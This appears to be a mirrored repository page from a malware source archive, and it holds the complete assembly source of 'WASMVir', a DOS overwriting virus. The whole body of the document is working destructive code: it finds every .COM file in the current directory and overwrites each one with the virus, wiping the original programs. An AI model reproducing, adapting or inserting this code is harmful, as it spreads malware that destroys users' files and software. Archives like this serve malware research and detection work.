mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
55 lines
653 B
NASM
55 lines
653 B
NASM
;WASMVir --> A lame overwriting virus to demonstrate WASM
|
|
;Overwrites all files in the current directory
|
|
;By Lord Natas
|
|
|
|
org 100h
|
|
|
|
Start
|
|
mov ah,4eh
|
|
mov cx,7
|
|
mov dx,offset FileSpec
|
|
Virus
|
|
|
|
;----- find file
|
|
|
|
int 21h
|
|
jc EndV
|
|
|
|
;----- open file
|
|
|
|
mov ax,3d01h
|
|
mov dx,9eh
|
|
int 21h
|
|
jc Close
|
|
|
|
xchg bx,ax
|
|
|
|
;----- write file
|
|
|
|
mov ah,40h
|
|
mov cl,Length
|
|
mov dx,offset Start
|
|
int 21h
|
|
|
|
Close
|
|
|
|
;----- close file
|
|
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
mov ah,4fh
|
|
jmps Virus
|
|
|
|
EndV
|
|
db 00C3h ;"RET"
|
|
|
|
;----- data
|
|
|
|
db 'WASMVir'
|
|
|
|
FileSpec db '*.COM',0
|
|
|
|
TheEnd
|
|
Length equ offset TheEnd - offset Start
|